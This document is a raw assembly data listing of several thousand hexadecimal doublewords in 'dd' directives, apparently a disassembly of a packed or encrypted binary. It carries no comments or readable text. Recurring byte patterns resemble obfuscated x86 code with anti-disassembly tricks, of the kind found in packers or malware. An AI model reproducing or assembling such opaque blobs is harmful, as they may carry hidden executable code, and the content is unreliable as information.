dd 0B6432669h, 78C0092Fh, 0B5A66C2Ch, 0F91CCB92h, 21FF5CB5h dd 7A9DBE53h, 0C0D2956Dh, 4CC4E678h, 0C0D1E3C5h, 42256878h dd 0DF57CDB2h, 0C0D27658h, 0D5B8FB78h, 7D5B0011h, 0D6F962AFh dd 0B9DC7F92h, 978DF2FAh, 1C61C5D2h, 0AB8E9F3Fh, 53312AE7h dd 8FABDBAAh, 142B0E4h, 48D70000h, 0A0848CD1h, 0C76B3719h dd 0CA79BC7Eh, 4B31E0A7h, 0C06F49C4h, 7E480D78h, 8769F084h dd 0C78BF8Fh, 0A81496C9h, 0B6F97659h, 590212D0h, 0D18C6F36h dd 0F9D7848Dh, 5275E62Bh, 3558030Eh, 81088076h, 78BFA39Fh dd 6EFEE124h, 1744CD09h, 79F59039h, 5A96E490h, 0A4000000h dd 73E092DFh, 0B7E38086h, 16DD005Bh, 0D24ACE33h, 0C76B694Bh dd 78ABEE7Eh, 1C6E6A93h, 0EE6E5147h, 54CCB26Ah, 0C7CFEBCDh dd 4A2D707Eh, 0D04345CCh, 4808FEC7h, 0D65A8DCEh, 0EE122F83h dd 7885A857h, 0FEC83996h, 2F378C1Eh, 840BF12Bh, 7EC83982h dd 0A0260447h, 90h, 85D1483Dh, 30A1A4C0h, 0E69589h, 0BFB38E79h dd 52D95378h, 78C07470h, 0E003B2F5h, 0AC69759Ch, 542200AFh dd 0F3B89EBDh, 9A8C96EBh, 2DE8CB92h, 0C07C4B20h, 0C7948178h dd 0A7B460A4h, 0B50A7884h, 0DAA1D5E6h, 6C4A1100h, 0C1A77FE2h dd 0B1BF4D3Ah, 0A4C70A72h, 87AAB160h, 20A71F7Bh, 72B2373Eh dd 0DDC2997Ch, 0B4A76E9Ah, 0E67A41D1h, 5073E828h, 3326A689h dd 0CE4705EBh, 375A0110h, 5A9EC170h, 0B77EA1BAh, 20A72508h dd 6CA37A33h, 60CFADF0h, 2309D148h, 3724EDABh, 2E510A0Bh dd 0AF78467h, 0C778B8AEh, 2B4E0D07h, 7EDD3864h, 0C2E5945Bh dd 510A06C4h, 0F467AA6Eh, 2D0F960Eh, 0B278B926h, 8E168C6Fh dd 26AD8F16h, 723278B9h, 2508B7A4h, 88ABB061h, 6A4AB67Bh dd 0B209D1C5h, 1E2EA968h, 98D2CF88h, 4164F71Ah, 3E1CCB7Ah dd 97BAA170h, 0A765BF53h, 15F7EC6Fh, 9A256AA4h, 0F24431D3h dd 0DBC2FB9h, 0C12F3B5Eh, 0E6F120FAh, 0F919C738h, 0B99F4EE5h dd 0AED8BA41h, 1A5D256Ah, 1EF3C137h, 31E1A3Dh, 0BB000000h dd 13041520h, 30E12548h, 4FC4082Bh, 71A5E90Ch, 9283C7EAh dd 0B362A6C9h, 0D14185A8h, 0ED23678Ah, 0D074B6Eh, 682A2B4Eh dd 70A9h, 52243C89h, 0C281E289h, 4, 4EA81h, 14870000h dd 1C895C24h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 68242C89h, 60E44E9h, 81241C8Bh, 4C4h, 2C8B5400h, 4C48124h dd 81000000h, 4ECh, 24148900h, 8BAh, 89EA0100h, 34FF5A1Ah dd 0C4815D24h, 4, 52241C8Bh, 0C281E289h, 4, 4C281h, 14870000h dd 3BE95C24h, 53FFF931h, 1075830Bh, 6D910527h, 0A5B41433h dd 49ADB80Eh, 0C503060Eh, 8358E0FFh, 0CB8A7696h, 0F2652649h dd 0B3FB4149h, 440E6691h, 0C5667E51h, 9A314CFDh, 0BF932B2Ch dd 10027C20h, 0FC0379BBh, 8FED75C3h, 0EEE6EE5h, 7A3952EFh dd 0D2966313h, 546F40DBh, 0A98F0530h, 54D23844h, 0F99621D1h dd 69524837h, 0E6091BB5h, 0E35744AAh, 9C425423h, 0B906656Fh dd 3BE958D1h, 60000000h, 0A91BD8Bh, 0EF830607h, 8BC93304h dd 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h, 0D323D21Bh dd 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h, 820F0000h dd 0FFFFFFD3h, 0C88BC361h, 75FDED55h, 76F67A5Eh, 56E669A4h dd 57FD49BCh, 0B5FD2C0Fh, 0AFD2C26h, 68FD2C31h, 5AFD2CBBh dd 30FD2C7Eh, 19FD2C9Ch, 0FEFD2CEDh, 0D5FD2C55h, 10FD2C09h dd 0E9FD2C26h, 42FD2C31h, 0AFFD2CBDh, 8CFD2C7Eh, 69FD2C9Ch dd 15FD2CECh, 79FD2C53h, 9DFD2C0Fh, 95358A25h, 76D6A222h dd 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h, 74FD7997h dd 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h, 75FD7ABCh dd 76FD7A5Eh, 75AB4F48h, 75AB4CDAh, 75FD7ACBh, 74FC7BE4h dd 74FC7BF3h, 75F8B290h, 0F0701ABCh, 73F334A0h, 3EC8FFA6h dd 0F0707C99h, 73F335DFh, 3F08FF6Ch, 0F0707CFCh, 73F3352Bh dd 3ECCFF35h, 0F0707C50h, 73F3349Dh, 3F04FF1Eh, 0F0707CC5h dd 73F33494h, 3F00FF7Bh, 0F0707C77h, 73F337B3h, 3EFCFFD7h dd 0F0707C21h, 73F337B6h, 3EF8FF42h, 0F0707CEBh, 73F337C5h dd 3EF4FFF0h, 0F0707CB2h, 73F337CCh, 3EE8FFA6h, 0F0707C99h dd 73F33795h, 3EF0FF6Ch, 0F0707CFCh, 73F33704h, 3EECFF35h dd 0F0707C50h, 73F337BDh, 3EE8FF1Eh, 0F0707CC5h, 73F33729h dd 3ED8FF7Bh, 0F0707C77h, 73F33757h, 3ED4FFD7h, 0F0707C21h dd 73F33499h, 3ED0FF42h, 0F0707CEBh, 73F334A5h, 3EE4FFF0h dd 0F0707CB2h, 73F334D0h, 3EE0FFA6h, 0F0707C99h, 73F335E2h dd 3EDCFF6Ch, 0F0767CFCh, 73FA6F38h, 3E93FF35h, 0F0767C50h dd 73FA61B2h, 3E8FFF1Eh, 0B69C7CC5h, 9D11F1B0h, 75FD7AF2h dd 0F717FB23h, 25FB74F0h, 0FDF53FD5h, 7BB617ADh, 0B7342291h dd 23AC7ACFh, 20AD29B7h, 75FD7A1Ah, 987C2779h, 73F3361Fh dd 3F09FFA0h, 0C87D7C21h, 73F33063h, 0C5B409CFh, 0B54B75E4h dd 3589BAF9h, 3E8FEF86h, 0FEBD7CB2h, 7A452B96h, 8AFD7A2Fh dd 7BB60802h, 8048F7CDh, 0F8FB74AFh, 9D50FCC6h dd 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 7BB608BAh, 8048F791h dd 0F8FB7481h, 8A50FCD1h, 0BC1F2322h, 3F09F787h, 2DA07CB2h dd 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h, 7BB61470h dd 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 3E93EFD0h dd 0DE9B7C99h, 77959208h, 360B7AE5h, 6E8872F3h, 3E93EF86h dd 0C54D7CB2h, 8AAD7954h, 7BB614BAh, 0F69B2091h, 7E9B7E2Bh dd 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh, 7B89A065h dd 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h dd 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh dd 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh dd 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 1B6885B5h dd 2FFB74B9h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h, 74BD9285h dd 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h dd 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah dd 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh dd 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh dd 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h dd 0CD3ED056h, 75FD7AE2h, 3E8FEF0Dh, 0C0707C77h, 73F33185h dd 7F518A5Dh, 0E002D02Ch, 73F331F9h, 74E59208h, 254D7AE5h dd 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch dd 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h dd 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh dd 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh dd 0B6577925h, 3F16FF69h, 0C87D7CC5h, 73F3300Eh, 0F8EC0FF3h dd 7BB627FCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h dd 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 3F16F787h, 0C87D7CB2h dd 73F330B5h, 0F8F10F2Fh, 7BB62712h, 0DE152ACDh, 0B6FD7AE4h dd 75FD7E4Ah, 7688579h, 0F8FB74F7h, 7BB2C0C3h, 6DF9F029h dd 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh dd 8A3E7835h, 7BB614CBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h dd 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh dd 0B6577825h, 3E93EF68h, 917D7CC5h, 0F539FAEAh, 0DE9B7542h dd 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h dd 8AFD7ACBh, 7BB60870h, 2460F7F4h, 0F8FB7432h, 0CD3E39A0h dd 75FD7A4Eh, 3E8FEFD0h, 0B57E7C99h, 8935F1CEh, 3E93EF1Ah dd 97577CFCh, 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah dd 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh dd 75FD7ABCh, 0BF17FB04h, 0FCFB7460h, 0CF7D86EAh, 73F331A6h dd 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 3E8FE843h, 0FCBD7C50h dd 7BB60CADh, 0F835F191h, 7BADE479h, 1B6F85E3h, 0FDFB74B9h dd 801F3C7Fh, 75FD6D04h, 37F795Eh, 35FB7464h, 256FE01Ah dd 0B67E7CC5h, 22FEF3E1h, 75FD644Bh, 3777979h, 0F8FB74F7h dd 7BADFAECh, 2B598929h, 75FD722Fh, 76F85CBh, 0F6FB74AEh dd 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah, 761EBBF7h dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 254C9016h dd 0CF707CC5h, 73F3319Fh, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh dd 26FD7E9Ch, 3E87E7A2h, 497D7C99h, 71887BD3h, 771683BEh dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 9F17FB04h, 0F8FB747Fh dd 7BB60025h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h dd 0F40F7DCh, 46FB7415h, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh dd 7BB60058h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh dd 9E04795Ah, 0B69C8296h, 0F40F7ABh, 0CDFB74AEh, 75FD7AF3h dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 0F278F7EFh, 8AFB74DCh dd 0E8CA8BD0h, 0Ah, 0A058FC65h, 7163D328h, 5E94F2Eh, 0B7000000h dd 0B01C437Ch, 10E959h, 88890000h, 304FAC59h, 3BFD01CDh dd 0ED986EE8h, 0C181F5E5h, 6C3Bh, 6E9h, 58265C00h, 0BBD2101Ah dd 4D067A86h, 0A04CC381h, 0BE66B2F9h, 31FFD59Ah, 665FE58Ah dd 0C781C68Bh, 6AB775A5h, 5A17B251h, 0F5FDEF81h, 66600D68h dd 0E851DF8Bh, 0Ah, 8F23D82Ch, 68CB9446h, 59589C4Fh, 77F78161h dd 60293867h, 0DE8h, 0C29CD400h, 247DCA1Bh, 134EB9F7h dd 0F5B9AC3h, 580h, 0E35FBB00h, 57610734h, 6E860h, 2BCA0000h dd 6258DE94h, 13E9h, 0A7A07D00h, 0A1B64F02h, 4B68A796h dd 0BED582AFh, 0CC4560BCh, 5860F5Fh, 0BF000000h, 69597CDCh dd 8B018F61h, 0A4E981D1h, 0BE49B2E5h, 33D16B62h, 0E5A0C181h dd 0BE6649B2h, 0EB839439h, 57850F01h, 66FFFFFFh, 8D49E2B8h dd 0E53AB8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0F5426E92h, 6798D89h, 6A0607h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 539721C3h, 5D9589B3h, 8B060704h, 71615B5h, 0E585C706h dd 9C06072Ch, 6A00006Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 60D9C351h, 11E9h, 7FDC0600h dd 0B089833Fh, 18B6269h, 66FADC13h, 61F5B0E5h, 58D0Fh dd 81660000h, 0C7F6DCDEh, 72D0585h, 6, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 29AD1C0Eh, 0D64FA22Dh, 9E951h, 4E400000h, 57A6A7B4h dd 5FB973D9h, 659B5FFh, 66560607h, 0FF58C78Bh, 700BD95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0D3301596h, 0C884030Bh, 0E8603165h, 8, 0D5E389D4h dd 7E557D15h, 0EE8h, 90FD5400h, 0FFC7382Eh, 0FC0EF1C1h dd 59D37EBBh, 11E958h, 0A5D20000h, 4E2AC4DCh, 22E5087Eh dd 0ED6C3048h, 61185B11h, 6AFB8Bh, 16B595FFh, 0C08B0607h dd 7C085AEBh, 39C3C8A2h, 147EC2D1h, 9921E551h, 0EFCA5D7Ch dd 32A35720h, 3A352C40h, 9D4A319Fh, 95ACDF10h, 0FC40E29Fh dd 0AA81EEE5h, 0A0C0F468h, 818BE200h, 67FFFD5Dh, 8D658C23h dd 395AD24Bh, 0CDFA8DDAh, 3B65CAB3h, 0F2D74BB0h, 0EAB1EC02h dd 0D88C085Fh, 24554303h, 9B14984Fh, 16EBh, 4 dup(0) dd 1010000h, 134h, 8166060Eh, 50C179F2h, 2860Fh, 5EB30000h dd 89240489h, 7312DB5h, 6A006A06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0A603C350h dd 0E1F68BBh, 8E0FBE82h, 6, 4419529h, 6A0607h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 96C35141h, 6952E981h dd 858D3B3Ch, 60E5577h, 0FDDB529h, 89500607h, 6A2404h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 228C8AC3h, 0C868BEE9h, 49BD3369h, 6006071Bh, 61DE8B66h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 9078E0C3h, 3160EBD3h, 7105DB5h, 38C0F06h dd 80000000h, 6A6158E5h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 0F1B920B1h, 0F1816616h dd 95FF9F16h, 60704C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0ABC35242h, 90E9DF4Ah, 6A000005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 899CC351h, 71E459Dh, 0E806h, 815D0000h, 0E557CEDh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 5CE91017h, 0EE9h, 0D3249900h, 0E105B73Fh, 0B099EECh dd 53940911h, 0CE9h, 5069DE00h, 0EA119A92h, 18D4843Fh dd 0BD8B5B71h, 6070069h, 23737868h, 81FB8BA1h, 9C282404h dd 6A5EDCh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 5995BEC3h, 95FF54F7h, 60716B5h, 8DBADB80h dd 0E540CB5h, 75852906h, 0C7060706h, 67655206h, 0D5B9666Dh dd 446C7ECh, 6C636E6Fh, 1EBDBD8Bh, 46C70607h, 73736108h dd 8CBF6600h, 6A006A00h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0FBCFC353h, 0E6E65F68h dd 8ABBF8CFh, 0D800Fh, 8E90000h, 0D7000000h, 0D2CA6EAAh dd 8D877283h, 0E540C85h, 10E906h, 0B5070000h, 673F83F5h dd 34125BE3h, 7F681BD8h, 50506B2Bh, 0F525052h, 8Eh, 0B3310F00h dd 0F585A43h, 5AD48A31h, 24048958h, 31399D8Bh, 95FF0607h dd 60715D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 36C35040h, 6807787Dh, 0F80D680h, 158Ah, 10E900h dd 0EAB90000h, 0C5010517h, 8AE43885h, 0C8AB1049h, 0C00BAE72h dd 54840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0AC6CC1C3h, 2A994790h, 0BD89A541h dd 60725DDh, 3A9E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 4D1D4049h, 0E757545Bh dd 8A68F878h, 50C1C540h, 0FFE8A52h, 2810F31h, 0B7000000h dd 81585A0Eh, 0C0A22404h, 0F5803E3Ah, 0B595FFAFh, 6A060716h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0A91DC356h, 0AB4604Eh, 0CB58D61h, 6A060E54h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0EE98C356h, 68F4B03Eh, 26D58589h, 6C70607h dd 36343831h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0A0C35141h, 2E6C1BCCh, 1586FABBh, 446C75Fh, 31342D37h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 4CC35141h dd 0D2D8D54Ch, 0E6AD53B9h, 846C704h, 0 dd 13E9h, 0D5C7BE00h, 0A560DCE1h, 0B288822h, 819B7106h dd 8D8548CDh, 10E9006Ah, 21000000h, 0EBDFA567h, 2FA62FC6h dd 0D581D386h, 8D3671BBh, 0E540C85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 8B737D13h dd 72A999Dh, 0BE89006h, 0E5000000h, 54332D20h, 11BB35AFh dd 0CF8B8C99h, 5250505Ah, 310FD38Bh, 585A25B7h, 0EDBD0390h dd 0F060710h, 95FFDBBFh, 60715D5h, 6ACF8166h, 0FC00BE8h dd 4584h, 0F88B6600h, 215E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 97ECA8E1h dd 8B602674h, 7149585h, 9D895206h, 6070D45h, 8D8B6158h dd 6070B09h, 1AADBD8Bh, 0EA680607h, 664A6E09h, 81FB07BFh dd 8C62434h, 9D8B4A6Eh, 6071D61h, 16B595FFh, 0BD090607h dd 6071CB5h, 540CB58Dh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E3E081C3h, 0BAD9D2Bh dd 6C70607h, 656C6946h, 6840Fh, 9D8B0000h, 60712B9h, 0C7FE8B66h dd 6F6D0446h, 6A636Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0FBD894C3h, 665A6A33h, 0C76825B9h dd 616C0846h, 6A7373h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 46C738C3h, 0Ch, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0C2182F78h, 93513ABFh, 6A7622h, 12E9h, 88344200h, 0DE519F9Ah dd 2AFF0AF3h, 0B017EFF7h, 8BA48B17h, 72D31BDh, 0C858D06h dd 6A060E54h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0CCA6C351h, 81BD8921h, 0F060725h dd 68Bh, 0DB58900h, 90060713h, 0CA8B6656h, 0DE8505Fh, 77000000h dd 3198A22Ch, 0BE0284EDh, 0DE65BF33h, 0D78B5250h, 0BA66310Fh dd 585A9878h, 6A905Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4DF861C3h, 0F83BD88h, 184h, 95FFF500h dd 60715D5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0E8C35040h, 5E1BD8Bh, 0C00B0607h, 1D840Fh, 958B0000h dd 6072C65h, 1DE9h, 6840F00h, 3000000h, 730FD95h, 59952906h dd 0E9060709h, 0FFFFFAB1h, 121DBD03h, 0B58D0607h, 6076D68h dd 2879958Bh, 0B80607h, 0FF000000h, 518D01E6h, 8B060702h dd 0BBE9C1h, 27F00000h, 8C885634h, 0ED23F1CFh, 50C2906Eh dd 0B65F2D0Bh, 402CC7A5h, 0FFDD7E97h, 9876E531h, 341249CAh dd 0D2B0AB66h, 0B3951C00h, 3884D5C5h, 0A72EA65Eh, 84D5C4C5h dd 25481303h, 5336795Eh, 4D0E04EEh, 74ECF42Ah, 0C76B0BEDh dd 6A4D907Eh, 9EF6CA6h, 6D90CB4Bh, 0B64DC3A6h, 7EC76AE1h dd 0E6759F5Dh, 0B4707603h, 0AE6C7E84h, 0CD3F665h, 1D4A9C29h dd 0EEBF7E43h, 747E00C9h, 0Dh, 4BD24A11h, 7EC76B69h, 20C8ABEEh dd 48130415h, 2B30E125h, 0C4FC408h, 0EA71A5E9h, 0C99283C7h dd 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh, 0EC682A2Bh dd 0E9060E5Ah, 0FFF91FC6h, 0C68D8D0Fh, 6A060E5Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0F75FC355h, 0AEA1A8Ah, 6798D89h, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0F6F199C3h dd 85C7BC4Ah, 6072CE5h, 73DCh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 26C35040h, 83157B80h, 85C7B31Fh dd 6072D05h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 9BC35646h dd 0ED9B5DBFh, 6AC49C56h, 0B5FFFCA5h, 6070C91h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D7C35242h, 0E972107Ah dd 6, 0BD5E511Fh, 32BF3A89h, 0B01495DCh, 0BD95FFD2h, 6A060700h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 8983C355h, 7281D8Dh, 8E906h, 5D2F0000h, 8659824Bh dd 0E7808955h, 0FF006A91h, 716B595h, 0EBC08B06h, 0D11C727Eh dd 0C2B28F4Fh, 0C9EAD3E1h, 8837F381h, 11540D27h, 0BED63E1Ch dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 0F7E537A6h dd 0B292F890h, 37A02DE7h, 617F7EAFh, 11048C94h, 0E33547ACh dd 0BEA2E2E1h, 18076853h, 215A2Ah, 0B9D15E9Dh, 0ED057B10h dd 116D8F10h, 29B0C9DBh, 0B559B3CAh, 0A9527617h, 809BEA95h dd 43F6AA6h, 0DB5A241Ah, 863F5CB8h, 4DBD3A63h, 5B2256FBh dd 0EB08F1F3h, 0ABEE140Ch, 0D9AC8528h, 0CE5E741Ch, 5C7E980h dd 0BBE90000h, 65000005h, 0FDCBA9B2h, 98664417h, 3705E378h dd 0D4A280DBh, 0A13C1A41h, 52090CCBh, 0EB70A674h, 87D43F0Dh dd 2536DBA9h, 0A917547h, 84D5C828h, 434D3ADh, 0E72B4E0Dh dd 0E0C2F2Ch, 0B497C450h, 77FE26F0h, 7EC76B95h, 528D71Ah dd 888A54C1h, 0BD0124D3h, 9CE00358h, 7EC2E576h, 62A6C992h dd 8686A9B2h, 0E624C793h, 0C058DFC5h, 3BA42B11h, 78B93Dh dd 0BA569ABDh, 1BF5C3A1h, 0CB101D40h, 18A13CCh, 0E5294C0Fh dd 0E0092C2Fh, 80BD7ACh, 955DA453h, 3F1CF42Eh, 9C42D761h dd 92803EB6h, 0E4779DC9h, 970F7401h, 89CC4405h, 46A36866h dd 0F151F71h, 43FF3EF6h, 3212F310h, 0D3888B4Fh, 6FEC27F5h dd 17E3F4Ch, 9961492Fh, 401BF822h, 0ABEF955Ah, 2E627FCCh dd 0D64BD54Bh, 0B6D98293h, 0E25A40EFh, 8669F224h, 26D13AF9h dd 5AB87623h, 0DAA11E01h, 0F1CB417Ah, 0E407B681h, 278D01D7h dd 9AE18F23h, 288F2065h, 116B3Ah, 0BB790000h, 9FE30655h dd 5639E873h, 3844CF1h, 4E90000h, 0EE664C0Fh, 0C76B8567h dd 0C74A0A7Eh, 4702E594h, 0C1B38449h, 0D8EE954Eh, 7CDF31F5h dd 0F6CD5F59h, 0FA61B472h, 9BC05317h, 5A7035BDh, 0F6EA177Fh dd 6BA86C4Fh, 9F78CDF0h, 4E88EFDFh, 0DDFA19C5h, 5E96A0B5h dd 0D1F4A369h, 0AF7D5B0Ah, 0C3987D61h, 65ADF114h, 12C19A79h dd 7767ABEFh, 0EB0EBD9Eh, 0CFF269A7h, 84D3A870h, 815D2290h dd 7E25488Fh, 274A1103h, 62EB2D60h, 9AC1507Ch, 2301B077h dd 0A1377C8Ch, 0FCB37899h, 4516FC03h, 13285B22h, 0AB6F52ADh dd 4513F16Ah, 69678AD1h, 78886AF1h, 4FC659A0h, 1E4270Ch dd 5F82D93Dh, 35854A00h, 1FDDD632h, 562DBDA0h, 2B230DD2h dd 73E71200h, 114ACC90h, 95AD33h, 484A0000h, 0A4E80BD3h dd 4210EE6Dh, 5D6A8DCEh, 7EC76B7Bh, 0E23C83F1h, 814F2D2Eh dd 5FA3C695h, 9EB72B2h, 8E7EC76Bh, 67F41F4Bh, 0ABCE7D44h dd 39D8964Ch, 0C8AF3F22h, 7553080Eh, 0C9EC6FA7h, 0AA9906CBh dd 0A7B9DA78h, 0B268D787h, 2104B3DDh, 80A3B85Dh, 65B10674h dd 44CCAAB1h, 0A8CB9086h, 0DB3AFEE1h, 0E085D80h, 3E98DF11h dd 0D8A684D7h, 0FFFD203Bh, 6588D341h, 572EBB9Eh, 0A37EC7C0h dd 591E0279h, 0B0A1D540h, 0A67F91A3h, 0E34E8234h, 868D5134h dd 488F7D5h, 0E5294C0Fh, 89472D2Eh, 5E4C4F88h, 7800179Dh dd 0FCDFA6C9h, 148C8241h, 0C80BAB8Dh, 0AED307Eh, 3AD9057Ah dd 997D3B21h, 0E169DFC2h, 886BF023h, 0C80E00FBh, 5715FB7Eh dd 0B2799CBFh, 1A5430CFh, 2435DE88h, 5CFFFFFFh, 0B993854Ah dd 8FC29977h, 4A79AFA8h, 28E9173Dh, 3CBC9F4Eh, 9017FD25h dd 78C014A5h, 0C004276Ah, 0A42C0A51h, 6CAD9BDFh, 795C9909h dd 0F87B5CB5h, 0D2B58979h, 0DC2043F2h, 0EE6DA836h, 325504CBh dd 1EA51DD3h, 78C1393Ch, 0B9B7EC1h, 0B4A76AB4h, 633F09CEh dd 113427EBh, 3E7E174Ah, 6E91CA46h, 9F15F8A7h, 0F81B40D1h dd 0C0CE14EBh, 0F0C7CF78h, 9270EB26h, 0EB0E4DC4h, 78E32FEDh dd 59021155h, 0C7947EAAh, 25FD64E4h, 0F5F9B83Fh, 0F33672B8h dd 2C0E950Dh, 0B172B9A5h, 8A3922F1h, 31A931A7h, 0A55032B9h dd 92D572B9h, 0B9A5BB9Dh, 0F065F272h, 92B173FCh, 3328EDADh dd 3821A184h, 0C684FCE2h, 7052D94Bh, 0F572B97Bh, 19E003B2h dd 0D438A936h, 0BAFD6CAAh, 729E5CD4h, 1D12F4E9h, 54976CABh dd 0FAB8B671h, 9C604318h, 3806E477h, 505D80DBh, 7E05640Bh dd 5882F98Bh, 0E269BBh, 853E05D5h, 0E7B59342h, 0B092C2Fh dd 7194C74Dh, 0C574E72Dh, 66F51EE2h, 0A51C280h, 0C0639CE7h dd 7C99E93Eh, 432FEACDh, 6C192E95h, 1F1F4AA9h, 0AAh, 4BD24A46h dd 7EC76B69h, 4C8ABEEh, 0A7654B10h, 990FF269h, 381645CBh dd 0D5B3A86Ah, 6F4D0E07h, 0CFFA22E7h, 0AC9BDDBh, 0A9B26327h dd 8D8543CBh, 0EF27EBCEh, 53C08E6Ch, 0B55C2A08h, 1BFAC8A6h dd 0B4D51D40h, 97BAA170h, 78A61D8Bh, 0C32B0D94h, 6DB07EC7h dd 14D9BD8Fh, 1637ED7Ah, 0BD785B18h, 0DEC047BFh, 637EC7F2h dd 0A0C13D20h, 45000000h, 0EBCE8D87h, 0C5854A86h, 0F566AD1Bh dd 0BE0CDBC2h, 310E25DBh, 9F7EC808h, 6244CB43h, 